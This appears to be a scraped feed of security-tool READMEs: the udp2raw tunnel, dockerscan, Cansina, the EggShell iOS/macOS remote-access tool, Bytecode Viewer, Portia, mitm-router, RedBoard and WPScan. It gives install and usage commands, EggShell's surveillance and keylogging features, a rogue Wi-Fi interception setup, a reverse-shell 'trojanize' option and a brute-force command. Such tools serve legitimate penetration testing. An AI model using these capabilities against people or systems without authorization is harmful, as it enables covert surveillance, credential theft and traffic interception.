    For Winodws/MacOS, a virtual image with udp2raw pre-installed has been released, you can load it with Vmware/VirtualBox.The virtual image has been set to auto obtain ip, udp2raw can be run immediately after boot finished(make sure network mode of virtual machine has been set to bridged)(only udp2raw has to be run under a virtual machine, all other programs run under Windows/MacOS as usual).

    Features

    Send / Receive UDP Packet with fake-tcp/icmp headers
    Fake-tcp/icmp headers help you bypass UDP blocking, UDP QOS or improper UDP NAT behavior on some ISPs. Raw packets with UDP headers are also supported.In UDP header mode, it behaves just like a normal UDP tunnel, and you can just make use of the other features.

    Simulate TCP Handshake
    Simulates the 3-way handshake, along with seq and ack_seq. TCP options MSS, sackOk, TS, TS_ack, wscale are also simulated. Real-time delivery guaranteed, no TCP over TCP problem when using OpenVPN.

    Encryption, Anti-Replay, No MITM
    • Encrypt your traffic with AES-128-CBC.
    • Protect data integrity by MD5 or CRC32.
    • Defense replay attack with an anti-replay window, similar to IPSec and OpenVPN.
    • Authenticate mutually, no MITM attacks.

    Failure Detection & Stabilization (Connection Recovery)
    Connection failures are detected by heartbeats. If timed-out, the client will automatically change port number and reconnect. If reconnection is successful, the previous connection will be recovered, and all existing UDP conversations will stay valid.
    For example, if you use UDP2RAW + OpenVPN, OpenVPN won't lose connection after any reconnect, even if the network cable is re-plugged or the WiFi access point is changed.

    Other Features
    • Multiplexing One client can handle multiple UDP connections, all of which share the same raw connection.
    • Multiple Clients One server can have multiple clients.
    • NAT Support All of the 3 modes work in NAT environments.
    • OpenVZ Support Tested on BandwagonHost.
    • OpenWRT Support No dependencies, easy to build. Binary for ar71xx are included in release.

    Keywords
    UDP QoS BypassUDP Blocking BypassOpenVPN TCP over TCP problemOpenVPN over ICMPUDP to ICMP tunnelUDP to TCP tunnelUDP over ICMPUDP over TCP

    Getting Started

    Installing
    Download binary release from https://github.com/wangyu-/udp2raw-tunnel/releases

    Running
    Assume your UDP is blocked or being QOS-ed or just poorly supported. Assume your server ip is 44.55.66.77, you have a service listening on udp port 7777.
    # Run at server side:
    ./udp2raw_amd64 -s -l0.0.0.0:4096 -r 127.0.0.1:7777 -a -k "passwd" --raw-mode faketcp

    # Run at client side
    ./udp2raw_amd64 -c -l0.0.0.0:3333 -r44.55.66.77:4096 -a -k "passwd" --raw-mode faketcp

    Server Output:


    Client Output:



    Now, an encrypted raw tunnel has been established between client and server through TCP port 4096. Connecting to UDP port 3333 at the client side is equivalent to connecting to port 7777 at the server side. No UDP traffic will be exposed.

    Note
    to run on Android, see Android_Guide

    Advanced Topic

    Usage
    udp2raw-tunnel
    version: Aug 18 2017 00:29:11
    repository: https://github.com/wangyu-/udp2raw-tunnel

    usage:
    run as client : ./this_program -c -l local_listen_ip:local_port -r server_ip:server_port [options]
    run as server : ./this_program -s -l server_listen_ip:server_port -r remote_ip:remote_port [options]

    common options, these options must be same on both side:
    --raw-mode <string> avaliable values:faketcp(default), udp, icmp
    -k, --key <string> password to gen symetric key, default:"secret key"
    --cipher-mode <string> avaliable values:aes128cbc(default), xor, none
    --auth-mode <string> avaliable values:md5(default), crc32, simple, none
    -a, --auto-rule auto add (and delete) iptables rule
    -g, --gen-rule generate iptables rule then exit
    --disable-anti-replay disable anti-replay, not suggested
    client options:
    --source-ip <ip> force source-ip for raw socket
    --source-port <port> force source-port for raw socket, tcp/udp only
    this option disables port changing while re-connecting
    other options:
    --log-level <number> 0:never 1:fatal 2:error 3:warn
    4:info (default) 5:debug 6:trace
    --log-position enable file name, function name, line number in log
    --disable-color disable log color
    --disable-bpf disable the kernel space filter, most time its not necessary
    unless you suspect there is a bug
    --sock-buf <number> buf size for socket, >=10 and <=10240, unit:kbyte, default:1024
    --seqmode <number> seq increase mode for faketcp:
    0:dont increase
    1:increase every packet
    2:increase randomly, about every 3 packets (default)
    --lower-level <string> send packet at OSI level 2, format:'if_name#dest_mac_adress'
    ie:'eth0#00:23:45:67:89:b9'.Beta.
    -h, --help print this help message

    IPTABLES rule
    This program sends packets via raw socket. In FakeTCP mode, Linux kernel TCP packet processing has to be blocked by a iptables rule on both sides, otherwise the kernel will automatically send RST for an unrecongized TCP packet and you will sustain from stability / peformance problems. You can use -a option to let the program automatically add / delete iptables rule on start / exit. You can also use the -g option to generate iptables rule and add it manually.

    cipher-mode and auth-mode
    It is suggested to use aes128cbc + md5 to obtain maximum security. If you want to run the program on a router, you can try xor + simple, which can fool packet inspection by firewalls the most of time, but it cannot protect you from serious attacks. Mode none is only for debugging purpose. It is not recommended to set the cipher-mode or auth-mode to none.

    seq-mode
    The FakeTCP mode does not behave 100% like a real tcp connection. ISPs may be able to distinguish the simulated tcp traffic from the real TCP traffic (though it's costly). seq-mode can help you change the seq increase behavior slightly. If you experience connection problems, try to change the value.

    Peformance Test

    Test method:
    iperf3 TCP via OpenVPN + udp2raw (iperf3 UDP mode is not used because of a bug mentioned in this issue: https://github.com/esnet/iperf/issues/296 . Instead, we package the TCP traffic into UDP by OpenVPN to test the performance. Read Application for details.

    iperf3 command:
    iperf3 -c 10.222.2.1 -P40 
    iperf3 -c 10.222.2.1 -P40 -R

    Environments
    • Client Vultr $2.5/monthly plan (single core 2.4GHz cpu, 512MB RAM, Tokyo, Japan)
    • Server BandwagonHost $3.99/annually plan (single core 2.0GHz cpu, 128MB RAM, Los Angeles, USA)

    Test1
    raw_mode: faketcp cipher_mode: xor  auth_mode: simple


    (reverse speed was simliar and not uploaded)

    Test2
    raw_mode: faketcp cipher_mode: aes128cbc  auth_mode: md5


    (reverse speed was simliar and not uploaded)

    Application

    tunneling any traffic via raw traffic by using udp2raw +openvpn

    1. bypasses UDP block/UDP QOS
    2. no TCP ovr tcp problem (tcp over tcp problem http://sites.inka.de/bigred/devel/tcp-tcp.html , https://community.openvpn.net/openvpn/ticket/2 )
    3. openvpn over icmp also becomes a choice
    more details at openvpn+udp2raw_guide

    speed-up tcp connection via raw traffic by using udp2raw+kcptun
    kcptun is a tcp connection speed-up program, it speeds-up tcp connection by using kcp protocol on-top of udp.by using udp2raw, you can use kcptun while udp is QoSed or blocked. (kcptun, https://github.com/xtaci/kcptun)

    speed-up tcp connection via raw traffic by using udp2raw+finalspeed
    finalspeed is a tcp connection speed-up program similiar to kcptun, it speeds-up tcp connection by using kcp protocol on-top of udp or tcp.but its tcp mode doesnt support openvz, you can bypass this problem if you use udp2raw+finalspeed together, and icmp mode also becomes avaliable.

    Other

    Easier installation on ArchLinux
    yaourt -S udp2raw-tunnel # or
    pacaur -S udp2raw-tunnel



    dockerscan - Docker Security Analysis and Hacking Tools

    $
    0
    0

    What's dockerscan

    A Docker analysis tools


    Very quick install
    > python3.5 -m pip install -U pip
    > python3.5 -m pip install dockerscan
    Show options:
    > dockerscan -h

    Available actions
    Currently Docker Scan support these actions:
    • Scan: Scan a network trying to locate Docker Registries
    • Registry
      • Delete: Delete remote image / tag
      • Info: Show info from remote registry
      • Push: Push an image (like Docker client)
      • Upload: Upload a random file
    • Image
      • Analyze: Looking for sensitive information in a Docker image.
        • Looking for passwords in environment vars.
        • Try to find any URL / IP in the environment vars.
        • Try to deduce the user used internally to run the software. This is not trivial. If the entry point is a .sh file. Read the file and try to find call to sudo-like: “sudo”, “gosu”, “sh -u”… And report the user found.
      • Extract: extract a docker image
      • Info: Get a image meta information
      • Modify:
        • entrypoint: change the entrypoint in a docker
        • trojanize: inject a reverser shell into a docker image
        • user: change running user in a docker image

    What's the difference from Clair or Docker Cloud?
    The purpose of Dockerscan is different. It's foccussed in the attack phase.
    Although Dockescan has some functionalities to detect vulnerabilities in Docker images and Docker registries, the objective is the attack.


    Documentation
    Documentation is still in progress...

    For the moment we only have the slides presented at RootedCON Spain, the conference where Docker Scan was presented:
    https://www.slideshare.net/secret/fxVqD2iXqanOCX

    Or you can watch it in video format (recommended):


    Also, you can watch a dockerscan usage demo:


    Cansina - Web Content Discovery Tool

    $
    0
    0

    Cansina is a Web Content Discovery Application. It is well known Web applications don't publish all their resources or public links, so the only way to discover these resources is requesting for them and check the response. Cansina duty is to help you making requests and filtering the responses to tell apart if it is an existing resource or just an annoying or disguised 404. Other kind of useful responses (401, 403, ...) are processed in a similar fashion. Responses are kept in a sqlite database for later process or viewing.
    You can stop and resume a task by ctrl-c, a resume file will be generated for you.
    Check the options '-h' for more features.
    There is an ongoing effort to add features via plugins.
    Feature requests and comments are welcome.

    Cansina is included in BlackArch Linux, give it a try!

    Features
    • Multithreading
    • Http / Https
    • Proxy support
    • Data persistence
    • Basic Authentication
    • Resume

    Usage
    cansina.py -h for a comprehensive list of features and choices
    Simple case
    cansina.py -u target_url -p payload_filename
    Will make GET requests using 4 threads by default

    Banning HTTP responde codes to output
    cansina.py -u target_url -p payload_filename -b 404,400,500
    Selected codes will be skipped

    Adding a .php extension to every record in payload
    cansina.py -u target_url -p payload_filename -e php
    Make all payload entries end with an extension

    Adding a list of extensions
    cansina.py -u target_url -p payload_filename -e php,asp,aspx
    Same as above but will repeat every request for every extension provided

    Inspecting content
    cansina.py -u target_url -p payload_filename -c look_for_this_text
    Cansina will report to screen if the content is detected in response

    Filtering by content
    cansina.py -u target_url -p payload_filename -d look_for_this_text
    If the content is found it will be processed as a 404 Not Found page

    Autodiscriminator
    cansina.py -u target_url -p payload_filename -D
    First, Cansina will try to make and remember a 404 response and will skip similar responses

    Replacing
    cansina.py -u target_url/
    *
    _this/ -p payload_filename
    Simple string replacing. Useful when a URL pattern is observable

    Size filtering
    cansina.py -u target_url -s 1495 -p payload_filename
    If you don't want a response and know its size is fixed this could help skipping all those responses.
    Also, it can be a list of sizes:
    cansina.py -u target_url -s 0,1495,1337 -p payload_filename

    Uppercase all requests
    cansina.py -u target_url -U -p payload_filename
    Just make every payload UPPERCASE

    Threading
    cansina.py -u target_url -t8 -p payload_filename
    Set the threading level. 4 by default.

    Change GET -> HEAD requests
    cansina.py -u target_url -H -p payload_filename
    Make requests using HEAD HTTP method. Be aware size and content filtering won't work

    Delay between requests
    cansina.py -u target_url -T 1.25 -p payload_filename
    Set a delay between resquests. Time is set in float format. E.g: 1.25 seconds

    User agent
    cansina.py -u target_url -p payload_filename -a user_agent
    Set an alternative User-Agent string

    Proxy requests
    cansina.py -u target_url -p payload_filename -Phttp://127.0.0.1:8080
    Simple http proxy

    Basic authentication
    cansina.py -u target_url -p payload_filename -Auser:password
    Manages basic authentication

    Resume session
    cansina.py -r resume_file
    Resume last interrupted session with all options and payload with former linenumber

    Parse robots.txt
    cansina.py -R
    Cansina will parse the robots.txt file an use it as a payload if it exists

    Important
    This tool is intended to be used in a fair and legal context, meaning, for example, a penetration testing for which you have been provided previous authorization.
    One of its legitimate uses might be the one described in the following article:

    Dependencies

    Payloads
    Cansina does not come with list but there are some neat projects to supply this:

    Install
    pip install --user requests
    git clone --depth=1 https://github.com/deibit/cansina

    EggShell - iOS/macOS Remote Administration Tool

    $
    0
    0
    EggShell is an iOS and macOS post exploitation surveillance pentest tool written in Python. This tool creates 1 line multi stage payloads that give you a command line session with extra functionality. EggShell gives you the power and convenience of uploading/downloading files, taking pictures, location tracking, shell command execution, persistence, escalating privileges, password retrieval, and much more. Server communication features end to end encryption with 128 bit AES and the ability to handle multiple clients. This is a proof of concept pentest tool, intended for use on machines you own.

    For detailed information and howto visit http://lucasjackson.me/eggshell

    Creating And Running A Payload
    EggShell gives us a convenient 1 line payload and listener on our local machine.


    On the target machine, after the payload is run, we will get a connection back.



    Taking Pictures
    Eggshell has the command functionality of taking pictures on both iOS(frontcam/backcam) and macOS(picture)




    Password Prompt / Root Privileges
    With the prompt command, we can have a password pop up information retrieval + built in privilege escalation.





    Sending SMS through iMessage



    Interacting With Multiple Sessions
    MultiSession gives us easy access to interacting and managing multiple sessions.



    Featured
    Featured in EverythingApplePro's video demonstrating an iOS 9.3.3 Webkit vulnerability used to run EggShell.



    Installation
    git clone https://github.com/neoneggplant/EggShell && cd EggShell
    easy_install pycrypto
    python eggshell.py

    iOS Commands:
    • sysinfo : get system information
    • cd : change directories
    • ls : list contents of directory
    • rm : delete file
    • pwd : get current directory
    • download : download file
    • upload : upload file
    • frontcam : take picture through front camera
    • backcam : take picture through back camera
    • mic : record microphone
    • getpid : get process id
    • vibrate : make device vibrate
    • alert : make alert show up on device
    • say : make device speak
    • locate : get device location
    • respring : respring device
    • setvol : set mediaplayer volume
    • getvol : view mediaplayer volume
    • isplaying : view mediaplayer info
    • openurl : open url on device
    • dial : dial number on device
    • getsms : download sms database
    • getnotes : download notes database
    • getcontacts : download addressbook
    • battery : get battery level
    • listapps : list bundle identifiers
    • open : open app
    • persistence : installs LaunchDaemon - tries to connect every 30 seconds
    • rmpersistence : uninstalls LaunchDaemon
    • open : open app
    • installpro : installs eggshellpro to device

    EggShell Pro Commands (iOS)
    • lock : simulate lock button press
    • wake : wake device from sleeping state
    • home : simulate home button press
    • doublehome : simulate home button double press
    • play : plays music
    • pause : pause music
    • next : next track
    • prev : previous track
    • togglemute : programatically toggles silence switch
    • ismuted : check if we are silenced or not
    • islocked : check if device is locked
    • getpasscode : log successfull passcode attempts
    • unlock : unlock with passcode
    • keylog : log keystrokes
    • keylogclear : clear keylog data
    • locationservice: turn on or off location services

    macOS Commands
    • cd : change directories
    • ls : list contents of directory
    • rm : delete file
    • pwd : get current directory
    • download : download file
    • upload : upload file
    • getpaste : get pasteboard contents
    • mic : record mic
    • picture : take picture through iSight
    • screenshot : take screenshot
    • getfacebook : retrieve facebook session cookies
    • brightness : adjust screen brightness
    • getvol : get output volume
    • setvol : set output volume
    • idletime : get the amount of time since the keyboard/cursor were touched
    • keyboard : your keyboard -> is target's keyboard
    • imessage : send message through the messages app
    • openurl : open url through the default browser
    • play : tell iTunes to play
    • pause : tell iTunes to pause
    • prev : tell iTunes to play previous track
    • next : tell iTunes to play next track
    • pid : get process id
    • prompt : prompt user to type password
    • su : su login
    • persistence : attempts to connect back every 60 seconds
    • rmpersistence : removes persistence

    Local Commands
    • lls : list contents of local directory
    • lcd : change local directories
    • lpwd : get current local directory
    • lopen : open local directory
    • clear : clears terminal

    Notes
    • Supports Python 2.7.x
    • Expect Updates :)

    Bytecode Viewer - A Java 8 Jar & Android Apk Reverse Engineering Suite (Decompiler, Editor, Debugger & More)

    $
    0
    0

    Bytecode Viewer is an Advanced Lightweight Java Bytecode Viewer, GUI Java Decompiler, GUI Bytecode Editor, GUI Smali, GUI Baksmali, GUI APK Editor, GUI Dex Editor, GUI APK Decompiler, GUI DEX Decompiler, GUI Procyon Java Decompiler, GUI Krakatau, GUI CFR Java Decompiler, GUI FernFlower Java Decompiler, GUI DEX2Jar, GUI Jar2DEX, GUI Jar-Jar, Hex Viewer, Code Searcher, Debugger and more.

    It's written completely in Java, and it's open sourced. It's currently being maintained and developed by Konloch.

    There is also a plugin system that will allow you to interact with the loaded classfiles, for example you can write a String deobfuscator, a malicious code searcher, or something else you can think of.
    You can either use one of the pre-written plugins, or write your own. It supports groovy scripting. Once a plugin is activated, it will execute the plugin with a ClassNode ArrayList of every single class loaded in BCV, this allows the user to handle it completely using ASM.

    Code from various projects has been used, including but not limited to:
    •     J-RET by WaterWolf
    •     JHexPane by Sam Koivu
    •     RSynaxPane by Robert Futrell
    •     Commons IO by Apache
    •     ASM by OW2
    •     FernFlower by Stiver
    •     Procyon by Mstrobel
    •     CFR by Lee Benfield
    •     CFIDE by Bibl
    •     Smali by JesusFreke
    •     Dex2Jar by pxb1..?
    •     Krakatau by Storyyeller
    •     JD GUI/JD Core by The Java-Decompiler Team
    •     Enjarify by Storyyeller

    Features:
    • Easy to use yet extremely effective.
    • Written to run on Java 7, supports Java 8.
    • Compile Decompiled Java classes with Ranino Compiler.
    • Quickly decompile classes using JD-Core.
    • Easily edit APKs via Smali/Baksmali integration.
    • Java Decompiling with five different decompilers (DJ-GUI/Core, Procyon, CFR, Fernflower and Krakatau).
    • Bytecode Decompiling with CFIDE.
    • Android APK integrated with Dex2Jar.
    • Securely launch Java applications and insert hooks via EZ-Injection.
    • Scan for malicious code with the Malicious Code Scanner plugin.
    • Export as DEX, Jar, Class, Zip or Java Source File.
    • Open Android APKs, Android DEX, Java Class Files and Java Jars.
    • Extensively configurable, over 100+ settings!
    • Works seamlessly with all Operating Systems.
    • Integrate BCV into Windows by installing it, it'll associate all .class, .dex and .apk to open with BCV.
    • View Jar & APK Resources with ease by APKTool.jar integration.
    • 100% free and open sourced under GPL v3 CopyLeft.

    Video:



    Portia - Automate Techniques Commonly Performed On Internal Network Penetration Tests

    $
    0
    0

    Portia aims to automate a number of techniques commonly performed on internal network penetration tests after a low privileged account has been compromised:
    • Privilege escalation
    • Lateral movement
    • Convenience modules
    Portia is a genus of jumping spider that feeds on other spiders - known for their intelligent hunting behaviour and problem solving capabilities usually only found in larger animals.

    Videos (Will be adding more soon)
    Video that shows privilege escalation via impersonation tokens and running of post exploitation modules:


    Dependencies
    apt-get update
    apt-get install -y autoconf automake autopoint libtool pkg-config freetds-dev
    pip install pymssql pysmb tabulate termcolor xmltodict pyasn1 pycrypto pyOpenSSL dnspython netaddr python-nmap
    cd /opt
    git clone https://github.com/CoreSecurity/impacket
    python setup.py install
    cd /opt
    git clone https://github.com/libyal/libesedb.git && cd libesedb
    ./synclibs.sh
    ./autogen.sh
    cd /opt
    git clone https://github.com/csababarta/ntdsxtract && cd ntdsxtract
    python setup.py install
    pip install git+https://github.com/pymssql/pymssql.git
    cd /opt
    git clone https://github.com/volatilityfoundation/volatility && cd volatility
    python setup.py install
    cd /opt
    git clone https://github.com/SpiderLabs/portia


    mitm-router - Man-in-the-middle Wireless Access Point Inside a Docker Container

    $
    0
    0

    Turn any linux computer into a public Wi-Fi network that silently mitms all http traffic. Runs inside a Docker container using hostapd, dnsmasq, and mitmproxy to create a open honeypotwireless network named "Public". For added fun, change the network name to "xfinitywifi" to autoconnect anyone who has ever connected to those networks... they are everywhere.
    DISCLAIMER: This software is for educational purposes only. It should not be used for illegal activity. The author is not responsible for its use. Don't be a dick.

    # clone the repo
    git clone https://github.com/brannondorsey/mitm-router
    cd mitm-router

    # build the image this step can be omitted if you prefer to pull
    # the image from the docker hub repository
    docker build . -t brannondorsey/mitm-router
    Run the following, replacing AP_IFACE and INTERNET_IFACE with your wireless device and internet-connected ethernet/wireless devices respectively. You can can get see the name of your network devices by running ifconfig.
    # run the container
    docker run -it --net host --privileged \
    -e AP_IFACE="wlan0" \
    -e INTERNET_IFACE="eth0" \
    -e SSID="Public" \
    -v "$(pwd)/data:/root/data" \
    brannondorsey/mitm-router
    If all went well, you should see something like this:
    Current MAC:   a5:ae:f9:a4:b7:e3 (TP-LINK TECHNOLOGIES CO.,LTD.)
    Permanent MAC: a5:ae:f9:a4:b7:e3 (TP-LINK TECHNOLOGIES CO.,LTD.)
    New MAC: 00:d2:6b:d5:fe:bd (PHOTRON USA)
    [ ok ] Starting system message bus: dbus.
    [ ok ] Starting DNS forwarder and DHCP server: dnsmasq.
    [ ok ] Starting advanced IEEE 802.11 management: hostapd.
    Proxy server listening at http://0.0.0.0:1337
    mitm-router transparently captures all HTTP traffic sent to the router at 10.0.0.1:80. It does not intercept HTTPS traffic (port 443) as doing so would alert a user that a possible man-in-the-middle attack was taking place. Traffic between URLs that begin with https:// will not be captured.
    The mitm-router/data/ folder is shared with the docker container so that we can view the capture files that it places there on our host machine. By default, you will find the mitmdump capture file in mitm-router/data/http-traffic.cap.
    You can also connect your INTERNET_IFACE to a hostpot running on your phone your for mitm pwnage on the go ;)
    If something seems like it went wrong, see the troubleshooting page.

    Bringing the Network Down
    Bring the docker container down to reset the iptable routing rules.
    # get the name of your container
    docker ps

    # attach to the container
    docker stop <CONTAINER_NAME>
    Proxy server listening at http://0.0.0.0:1337
    [ ok ] Stopping DNS forwarder and DHCP server: dnsmasq.
    [ ok ] Stopping advanced IEEE 802.11 management: hostapd.
    [ ok ] Stopping system message bus: dbus.
    received shutdown signal, exiting.

    MAC Randomization
    By default, mitm-router randomizes the MAC address of your AP_IFACE to anonymize your network device. This can be disabled with the MAC="unchanged" environment variable. You can also explicitly set the AP_IFACE MAC address with MAC="XX:XX:XX:XX:XX:XX".

    Configuring
    Supported environment variables are listed below with their default values:
    # wireless device name that will be used for the Access Point
    AP_IFACE="wlan0"

    # device name that is used for the router's internal internet connection
    # packets from AP_IFACE will be forwarded to this device
    INTERNET_IFACE="eth0"

    # wireless network name
    SSID="Public"

    # optional WPA2 password; if left empty network will be public
    PASSWORD=""

    # optional randomization of AP_IFACE MAC address
    # can be set to a specific value like "XX:XX:XX:XX:XX:XX"
    # or "unchanged" to leave the device MAC alone
    MAC="random"

    # tcpdump output file location inside the container
    CAPTURE_FILE="/root/data/http-traffic.cap"

    # optional mitmproxy filter
    # see http://docs.mitmproxy.org/en/stable/features/filters.html
    FILTER=""

    Troubleshooting
    See the troubleshooting page for more info.

    Security
    This access point runs inside of Docker for isolation, ensuring that any vulnerabilities that may be exploitable in the access point will not allow an adversary access to your computer or home network. That said, there are a few caveats to be aware of:
    • --net host shares all of the network interfaces and iptables entries from the host machine with the docker container. Assume that a vulnerable docker container would have root access to these devices.
    • Running in --privileged mode gives extended permissions to the docker container
    • Your host machine (the one running docker) will be accessible on the "Public" network as a connected client. For this reason, please use a firewall (ufw on linux) to block incoming traffic on all ports so that computers on the "Public" network do not have access to exposed services your machine.
    • All traffic on the honeypot network will be outbound from you home network's gateway. If someone on the "Public" network is torrenting or conducting illegal activity you will be held accountable and your ISP may cancel your service.
    For added security, I prefer to run this docker container on a dedicated computer, like a Raspberry Pi.

    Attribution
    This code started as a hard fork of simonschuang's rpi-hostapd. The code has been heavily modified for mitm purposes.


    RedBoard - Collaborative Web Dashboard for RedTeam Pentesters

    $
    0
    0

    RedBoard is a collaborative web dashboard for RedTeam pentesters.
    While conducting a pentest, you're inclined to create a lot of text files in random directories on your laptop. RedBoard is a collaborative suite to store, organize and share all sort of data within your team.

    Features
    • store your pentest data and sort it by category
    • keep track of your actions with the items history chart
    • create a network map
    • animated map with slider bar
    • network map have display mode
    • create multi-user
    • have a full text search engine
    • have a ranking system
    This tool is developed in nodeJS and use Mongo as a database backend.

    Installation
    Install nodeJS and mongodb (ubuntu based):
    sudo apt install mongodb-clients nodejs-legacy npm
    You must have mongo >= 3.0 for the search engine to work. You can manually install it by using this good link :
    https://docs.mongodb.com/manual/tutorial/install-mongodb-on-ubuntu/
    npm dependencies:
    npm install
    Start RedBoard using
    npm start
    To create first admin account
    mongo

    use redboard

    db.users.insert({"local" : { "password" : "$2a$08$3LhTS4rfimX47BG4ghEZ1u3jEUG1/QEqdHzUacTXkdpstn1lWEOCG", "username" : "admin", "isAdmin" : true}})
    This command create admin account with login : admin and password : redboard (in bcrypt).

    Configuration

    Certificate
    You can generate your self signed ssl certificate with this command. Put this three files into ssl directory.
    openssl genrsa 1024 > file.pem

    openssl req -new -key file.pem -out csr.pem

    openssl x509 -req -days 900 -in csr.pem -signkey file.pem -out file.crt

    Server
    You can change default server port and listen ip by editing 'server.js' (on top file)
    var portSSL = 8443; 
    var host = "127.0.0.1";

    Database
    You can change database config by editing 'config/database.js'

    Usage
    RedBoard works with "items". Items can be created, edited or deleted. Each item has it category and subcategory.
    Current categories are : Vulnerabilities, Hosts, Passwords, Backdoors, Tips and Resources.
    Some subcategories are already set in Tips (Network, Windows, Linux, Web, DB, Tools, Appliance, Exploit, Other) and Resources (VPS, Certificate, DNS) categories.
    You can create new subcategories by clicking on "New" in categorie. This will add a shortcut to the new subcategory in the dashboard to facilitate the future addition of items in this subcategory.


    Users
    Create new user in menu Users -> Create New
    Add name, password, admin flag or not. With admin flag, user can manage users.
    You can delete user in menu Users -> Show All
    Only users with admin rights can show and use this menu.

    Items

    Show
    You can show item content by clicking on "View Details" button in dashboard on category.
    Then click "edit" on item.
    You can show all items (not filter by categories) with menu Items -> Show All.
    And sort them by subcategories.

    Add
    You can add item by clicking on shortcut subcategory name under category.

    Vulnerabilities category
    You can add Vulnerabilities with description and attach files. You can also attach it to host or other items.

    Hosts category
    In Host category you can set the "Draw" parameter to add it to the network map.
    If the "Owned" parameter is set, the current item will be displayed without gray on the map.
    Operating system can be choose to host this will change host icon on map.
    Different hosts may be graphically linked together on the map by adding an "Attach Item".
    Finally, all hosts within the same subcategory are drawed in the same network.

    Passwords category
    You can add passwords list or dump and attach files. You can also attach it to host or other items.

    Backdoors category
    In this category you can create item backdoor and attach backdoors to host. If you attach backdoor to an host, on draw map a white strip on right top of this host is add.

    Tips category
    In this category you can note tips or tricks find during your audit and attach it to an other item or not.

    Resources category
    In this category you can add all the resources you will need during your audit. (VPN servers, DNS records, SSL certificates ...).

    Custom category
    If you do not find the category adapted to your data you can create custom category by clicking on "Create Custom Item". You will not be able to see it on the dashboard but you can access it by clicking on "Show Custom Items".

    Hosts map
    Hosts on map could be double click to be edited.
    If a backdoor is attached to a host when you double click on host you go to edit backdoor item.
    Network map can be exported as a png file by clicking on "Download" button.
    Default positions on the map are automatically calculated by Readboard. Hosts positions might be changed by using a drag and drop and then saved into the database using the "Position snapshot" button. Default positions could be restored by using the "Reset" button.
    A full screen mode can be used to facilitate your presentation by cliking on "Fullscreen" button on right top.
    The slide bar can be used to see the state of the network scheme at a selected date. Ticks on the slide bar represent the days when there was activity (when items are create or update groups by days). You can also use media button to animate the map.


    Items History chart
    With this chart, you can inspect created or edited items over the days. You may also display items filtered by date by clicking on link on the chart.


    Search
    To search globaly use search form on right top of web page.
    To add filter to your search use menu search.
    You can filter by items categories or files.

    Ranking
    This menu is only there for the games. You can see the Hunter who created the most item. And a ranking by subcategories.


    Other

    Backup - Restore
    Projects might be backuped using the following command:
    mongodump --db redboard
    If you want to restore your mongodb projects, you shall use this command:
    mongorestore --db redboard dump/redboard

    Offline use
    You can use RedBoard offline. Run
    npm install
    command online. This command create "node_modules" folder in your redboard directory with all RedBoard dependency.
    Then you can copy all Redboard directory with this folder and use it offline (without repeating this step of the installation).



    WPScan v2.9.4 - Black Box WordPress Vulnerability Scanner

    $
    0
    0

    WPScan is a black box WordPress vulnerability scanner.

    INSTALL
    WPScan comes pre-installed on the following Linux distributions:
    On macOS WPScan is packaged by Homebrew as wpscan.
    Windows is not supported
    We suggest you use the official Docker image from https://hub.docker.com/r/wpscanteam/wpscan/ to avoid installation problems.

    DOCKER
    Pull the repo with docker pull wpscanteam/wpscan

    Start WPScan
    docker run -it --rm wpscanteam/wpscan -u https://yourblog.com [options]
    For the available Options, please see https://github.com/wpscanteam/wpscan#wpscan-arguments
    If you run the git version of wpscan we included some binstubs in ./bin for easier start of wpscan.

    Examples
    Mount a local wordlist to the docker container and start a bruteforce attack for user admin
    docker run -it --rm -v ~/wordlists:/wordlists wpscanteam/wpscan --url https://yourblog.com --wordlist /wordlists/crackstation.txt --username admin
    (This mounts the host directory ~/wordlists to the container in the path /wordlists)
    Use logfile option
    # the file must exist prior to starting the container, otherwise docker will create a directory with the filename
    touch ~/FILENAME
    docker run -it --rm -v ~/FILENAME:/wpscan/output.txt wpscanteam/wpscan --url https://yourblog.com --log /wpscan/output.txt
    Published on https://hub.docker.com/r/wpscanteam/wpscan/

    Manual install

    Prerequisites
    • Ruby >= 2.1.9 - Recommended: 2.4.1
    • Curl >= 7.21 - Recommended: latest - FYI the 7.29 has a segfault
    • RubyGems - Recommended: latest
    • Git

    Installing dependencies on Ubuntu
    sudo apt-get install libcurl4-openssl-dev libxml2 libxml2-dev libxslt1-dev ruby-dev build-essential libgmp-dev zlib1g-dev

    Installing dependencies on Debian
    sudo apt-get install gcc git ruby ruby-dev libcurl4-openssl-dev make zlib1g-dev

    Installing dependencies on Fedora
    sudo dnf install gcc ruby-devel libxml2 libxml2-devel libxslt libxslt-devel libcurl-devel patch rpm-build

    Installing dependencies on Arch Linux
    pacman -Syu ruby
    pacman -Syu libyaml

    Installing dependencies on macOS
    Apple Xcode, Command Line Tools and the libffi are needed (to be able to install the FFI gem), See http://stackoverflow.com/questions/17775115/cant-setup-ruby-environment-installing-fii-gem-error

    Installing with RVM (recommended when doing a manual install)
    If you are using GNOME Terminal, there are some steps required before executing the commands. See here for more information: https://rvm.io/integration/gnome-terminal#integrating-rvm-with-gnome-terminal
    # Install all prerequisites for your OS (look above)
    cd ~
    curl -sSL https://rvm.io/mpapis.asc | gpg --import -
    curl -sSL https://get.rvm.io | bash -s stable
    source ~/.rvm/scripts/rvm
    echo "source ~/.rvm/scripts/rvm" >> ~/.bashrc
    rvm install 2.4.1
    rvm use 2.4.1 --default
    echo "gem: --no-ri --no-rdoc" > ~/.gemrc
    git clone https://github.com/wpscanteam/wpscan.git
    cd wpscan
    gem install bundler
    bundle install --without test

    Installing manually (not recommended)
    git clone https://github.com/wpscanteam/wpscan.git
    cd wpscan
    sudo gem install bundler && bundle install --without test
    WPSCAN ARGUMENTS
    --update                            Update the database to the latest version.
    --url | -u <target url> The WordPress URL/domain to scan.
    --force | -f Forces WPScan to not check if the remote site is running WordPress.
    --enumerate | -e [option(s)] Enumeration.
    option :
    u usernames from id 1 to 10
    u[10-20] usernames from id 10 to 20 (you must write [] chars)
    p plugins
    vp only vulnerable plugins
    ap all plugins (can take a long time)
    tt timthumbs
    t themes
    vt only vulnerable themes
    at all themes (can take a long time)
    Multiple values are allowed : "-e tt,p" will enumerate timthumbs and plugins
    If no option is supplied, the default is "vt,tt,u,vp"

    --exclude-content-based "<regexp or string>"
    Used with the enumeration option, will exclude all occurrences based on the regexp or string supplied.
    You do not need to provide the regexp delimiters, but you must write the quotes (simple or double).
    --config-file | -c <config file> Use the specified config file, see the example.conf.json.
    --user-agent | -a <User-Agent> Use the specified User-Agent.
    --cookie <string> String to read cookies from.
    --random-agent | -r Use a random User-Agent.
    --follow-redirection If the target url has a redirection, it will be followed without asking if you wanted to do so or not
    --batch Never ask for user input, use the default behaviour.
